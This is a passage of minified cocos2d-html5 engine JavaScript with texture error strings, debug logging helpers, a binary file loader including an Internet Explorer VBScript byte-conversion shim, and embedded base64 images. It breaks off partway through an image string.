  52. eU:"cc.TextureAtlas.removeQuadsAtIndex(): index + amount out of bounds",aU:"cc.TextureAtlas.moveQuadsFromIndex(): move is out of bounds",bU:"cc.TextureAtlas.moveQuadsFromIndex(): Invalid newIndex",cU:"cc.TextureAtlas.moveQuadsFromIndex(): Invalid oldIndex",z4:"TextureCache:addPVRTCImage does not support on HTML5",x4:"TextureCache:addPVRTCImage does not support on HTML5",y4:"addPVRImage does not support on HTML5",A4:"cocos2d: Couldn't add UIImage in TextureCache",C4:"cocos2d: '%s' id\x3d%s %s x %s",
  53. KP:"cocos2d: '%s' id\x3d HTMLCanvasElement %s x %s",D4:"cocos2d: TextureCache dumpDebugInfo: %s textures, HTMLCanvasElement for %s KB (%s MB)",B4:"cc.Texture.addUIImage(): image should be non-null",MT:"initWithETCFile does not support on HTML5",QT:"initWithPVRFile does not support on HTML5",ST:"initWithPVRTCData does not support on HTML5",IT:"cc.Texture.addImage(): path should be non-null",OT:"cocos2d: cc.Texture2D. Can't create Texture. UIImage is nil",PT:"cocos2d: WARNING: Image (%s x %s) is bigger than the supported %s x %s",
  54. UT:"initWithString isn't supported on cocos2d-html5",NT:"initWithETCFile does not support on HTML5",RT:"initWithPVRFile does not support on HTML5",TT:"initWithPVRTCData does not support on HTML5",KT:"bitsPerPixelForFormat: %s, cannot give useful result, it's a illegal pixel format",HT:"cocos2d: cc.Texture2D: Using RGB565 texture since image has no alpha",JT:"cc.Texture.addImage(): path should be non-null",LT:"NSInternalInconsistencyException",Nc:"Missing file: %s",EO:"cc.radiansToDegress() should be called cc.radiansToDegrees()",
  55. Uz:"Rect width exceeds maximum margin: %s",Tz:"Rect height exceeds maximum margin: %s",bR:"If program goes here, there should be event in dispatch.",cR:"_inDispatch should be 1 here."};
  56. b.$v=function(a){if(b.Za){var c=b.SW,d=document;if(!c){var e=d.createElement("Div"),c=e.style;e.setAttribute("id","logInfoDiv");b.Za.parentNode.appendChild(e);e.setAttribute("width","200");e.setAttribute("height",b.Za.height);c.zIndex="99999";c.position="absolute";c.top="0";c.left="0";c=b.SW=d.createElement("textarea");d=c.style;c.setAttribute("rows","20");c.setAttribute("cols","30");c.setAttribute("disabled",!0);e.appendChild(c);d.backgroundColor="transparent";d.borderBottom="1px solid #cccccc";
  57. d.borderRightWidth="0px";d.borderLeftWidth="0px";d.borderTopWidth="0px";d.borderTopStyle="none";d.borderRightStyle="none";d.borderLeftStyle="none";d.padding="0px";d.margin=0}a="string"==typeof a?a:JSON.stringify(a);c.value=c.value+a+"\r\n";c.scrollTop=c.scrollHeight}};b.Lv=function(a){if("object"===typeof a)try{return JSON.stringify(a)}catch(c){return""}else return a};
  58. console.log&&(b.log=function(a){for(var c=1;c<arguments.length;c++)a=a.replace(/(%s)|(%d)/,b.Lv(arguments[c]));console.log(a)},b.warn=console.warn?function(a){for(var c=1;c<arguments.length;c++)a=a.replace(/(%s)|(%d)/,b.Lv(arguments[c]));console.warn(a)}:b.log,b.error=console.error?function(a){for(var c=1;c<arguments.length;c++)a=a.replace(/(%s)|(%d)/,b.Lv(arguments[c]));console.error(a)}:b.log,b.assert=function(a,c){if(!a&&c){for(var d=2;d<arguments.length;d++)c=c.replace(/(%s)|(%d)/,b.Lv(arguments[d]));
  59. throw c;}});var q=b.Hc.Qe[b.Hc.bh.Ns],A=b.Hc;console.log&&q===A.IQ||(b.log=q==A.$y?b.$v.bind(b):function(){});q&&q!=A.UG&&q!=A.HQ&&q!=A.TG||(b.warn=function(){});q!=A.$y&&q!=A.VG&&console.warn||(b.warn=b.$v.bind(b));q&&q!=A.UG?q!=A.$y&&q!=A.VG&&q!=A.TG&&console.error||(b.error=b.$v.bind(b),b.assert=function(a,c){if(!a&&c){for(var d=2;d<arguments.length;d++)c=c.replace("%s",arguments[d]);b.$v(c)}}):(b.error=function(){},b.assert=function(){});b.V.S1=function(a,c){var d=this,e=this.wx(),f="load "+a+" failed!";e.open("GET",a,!0);/msie/i.test(navigator.userAgent)&&!/opera/i.test(navigator.userAgent)?(e.setRequestHeader("Accept-Charset","x-user-defined"),e.onreadystatechange=function(){if(4==e.readyState&&200==e.status){var a=b.hJ(e.responseBody);c(null,d.Dw(a))}else c(f)}):(e.overrideMimeType&&e.overrideMimeType("text/plain; charset\x3dx-user-defined"),e.onload=function(){4==e.readyState&&200==e.status?c(null,d.Dw(e.responseText)):c(f)});
  60. e.send(null)};b.V.Dw=function(a){if(!a)return null;for(var c=new Uint8Array(a.length),d=0;d<a.length;d++)c[d]=a.charCodeAt(d)&255;return c};
  61. b.V.ofa=function(a){var c=this.wx(),d="load "+a+" failed!";c.open("GET",a,!1);a=null;if(/msie/i.test(navigator.userAgent)&&!/opera/i.test(navigator.userAgent)){c.setRequestHeader("Accept-Charset","x-user-defined");c.send(null);if(200!=c.status)return b.log(d),null;(c=b.hJ(c.responseBody))&&(a=this.Dw(c))}else{c.overrideMimeType&&c.overrideMimeType("text/plain; charset\x3dx-user-defined");c.send(null);if(200!=c.status)return b.log(d),null;a=this.Dw(c.responseText)}return a};
  62. var Uint8Array=Uint8Array||Array;
  63. if(/msie/i.test(navigator.userAgent)&&!/opera/i.test(navigator.userAgent)){var aa=b.Ob("script");aa.type="text/vbscript";aa.textContent='\x3c!-- IEBinaryToArray_ByteStr --\x3e\r\nFunction IEBinaryToArray_ByteStr(Binary)\r\n IEBinaryToArray_ByteStr \x3d CStr(Binary)\r\nEnd Function\r\nFunction IEBinaryToArray_ByteStr_Last(Binary)\r\n Dim lastIndex\r\n lastIndex \x3d LenB(Binary)\r\n if lastIndex mod 2 Then\r\n IEBinaryToArray_ByteStr_Last \x3d Chr( AscB( MidB( Binary, lastIndex, 1 ) ) )\r\n Else\r\n IEBinaryToArray_ByteStr_Last \x3d ""\r\n End If\r\nEnd Function\r\n';document.body.appendChild(aa);
  64. b.hJ=function(a){for(var c={},d=0;256>d;d++)for(var e=0;256>e;e++)c[String.fromCharCode(d+256*e)]=String.fromCharCode(d)+String.fromCharCode(e);d=IEBinaryToArray_ByteStr(a);a=IEBinaryToArray_ByteStr_Last(a);return d.replace(/[\s\S]/g,function(a){return c[a]})+a}};b=b||{};b.QK="data:image/gif;base64,R0lGODlhEAAQALMNAD8/P7+/vyoqKlVVVX9/fxUVFUBAQGBgYMDAwC8vL5CQkP///wAAAP///wAAAAAAACH/C05FVFNDQVBFMi4wAwEAAAAh+QQFAAANACwAAAAAEAAQAAAEO5DJSau9OOvNex0IMnDIsiCkiW6g6BmKYlBFkhSUEgQKlQCARG6nEBwOgl+QApMdCIRD7YZ5RjlGpCUCACH5BAUAAA0ALAAAAgAOAA4AAAQ6kLGB0JA4M7QW0hrngRllkYyhKAYqKUGguAws0ypLS8JxCLQDgXAIDg+FRKIA6v0SAECCBpXSkstMBAAh+QQFAAANACwAAAAACgAQAAAEOJDJORAac6K1kDSKYmydpASBUl0mqmRfaGTCcQgwcxDEke+9XO2WkxQSiUIuAQAkls0n7JgsWq8RACH5BAUAAA0ALAAAAAAOAA4AAAQ6kMlplDIzTxWC0oxwHALnDQgySAdBHNWFLAvCukc215JIZihVIZEogDIJACBxnCSXTcmwGK1ar1hrBAAh+QQFAAANACwAAAAAEAAKAAAEN5DJKc4RM+tDyNFTkSQF5xmKYmQJACTVpQSBwrpJNteZSGYoFWjIGCAQA2IGsVgglBOmEyoxIiMAIfkEBQAADQAsAgAAAA4ADgAABDmQSVZSKjPPBEDSGucJxyGA1XUQxAFma/tOpDlnhqIYN6MEAUXvF+zldrMBAjHoIRYLhBMqvSmZkggAIfkEBQAADQAsBgAAAAoAEAAABDeQyUmrnSWlYhMASfeFVbZdjHAcgnUQxOHCcqWylKEohqUEAYVkgEAMfkEJYrFA6HhKJsJCNFoiACH5BAUAAA0ALAIAAgAOAA4AAAQ3kMlJq704611SKloCAEk4lln3DQgyUMJxCBKyLAh1EMRR3wiDQmHY9SQslyIQUMRmlmVTIyRaIgA7";
  65. b.Zn="data:image/png;base64,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\x3d";
  66. b.PK="data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAAAlAAD/4QMpaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcE1NPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvbW0vIiB4bWxuczpzdFJlZj0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL3NUeXBlL1Jlc291cmNlUmVmIyIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjM4MDBEMDY2QTU1MjExRTFBQTAzQjEzMUNFNzMxRkQwIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjM4MDBEMDY1QTU1MjExRTFBQTAzQjEzMUNFNzMxRkQwIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgV2luZG93cyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOkU2RTk0OEM4OERCNDExRTE5NEUyRkE3M0M3QkE1NTlEIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOkU2RTk0OEM5OERCNDExRTE5NEUyRkE3M0M3QkE1NTlEIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+/+4ADkFkb2JlAGTAAAAAAf/bAIQADQkJCQoJDQoKDRMMCwwTFhENDREWGhUVFhUVGhkUFhUVFhQZGR0fIB8dGScnKionJzk4ODg5QEBAQEBAQEBAQAEODAwOEA4RDw8RFA4RDhQVERISERUfFRUXFRUfKB0ZGRkZHSgjJiAgICYjLCwoKCwsNzc1NzdAQEBAQEBAQEBA/8AAEQgAyACgAwEiAAIRAQMRAf/EALAAAAEFAQEAAAAAAAAAAAAAAAQAAgMFBgcBAQEAAwEBAAAAAAAAAAAAAAAAAQMEAgUQAAIBAgIEBwoLBgQGAwAAAAECAwAEEQUhMRIGQVFxsTITFGGBwdEiQlKSMzWRoeFicqKyI1NzFYJjJDQWB9KjVCbxwkNkJWXik3QRAAIBAgMFBQcDBQEAAAAAAAABAhEDIRIEMUFRcTJhwVIUBZGhsSJyEzOB0ULhYpIjUxX/2gAMAwEAAhEDEQA/AMJSpUqAVKlXuFAeUq9wpUB5XuFe4V6ooDzZHDox0CnGMinzwl7Z8NajaHeoO3vmTBZBtp9YUIqTEV5ROxHKnWRnaU8VRMhFBUjpV7hSoSeUq9pUB5Sr2lhQHlKvcK8oBV7hSFSRrtaKAZs07YNPM1pG2xJIAw1jSeandry/8X4m8VCKkWwaWwam7Xl/4v1W8VLtmX/i/VbxUoKkWwakSM407tmX/i/VbxUmzGwjQsjdY41IARie/U0IbZO0kNtCXnOCkEBeFu4KI3Bs7DNb27ya+jDx3kJeEnpJJEcQVbWDsk17u5urd591ucZkWhym2Vnd9RkCDEpFxDRpbw0bunu5mlp2De2FMLYXOD2wB2xbOeraUcYGJ72mlSUiqzzdzMd3Z3mixltA2yzcK/NlHM1DQyRXce1HocdNOEfJXZ88y9ZojOqhiBszIRiHQ8Y4cK5TvHuzLljHNMqxNoDjLFraHHnjPxcNCGVbxEUzYNTx5jZSxhpW6qTzlwJ+DCvO2Zf+L9VvFSgqyHYNLYNTdssPxfibxUu15f8Ai/VPiqCakOwa82DU/a8v/F+JvFTDdWPBL8R8VKCvYRYV5Uz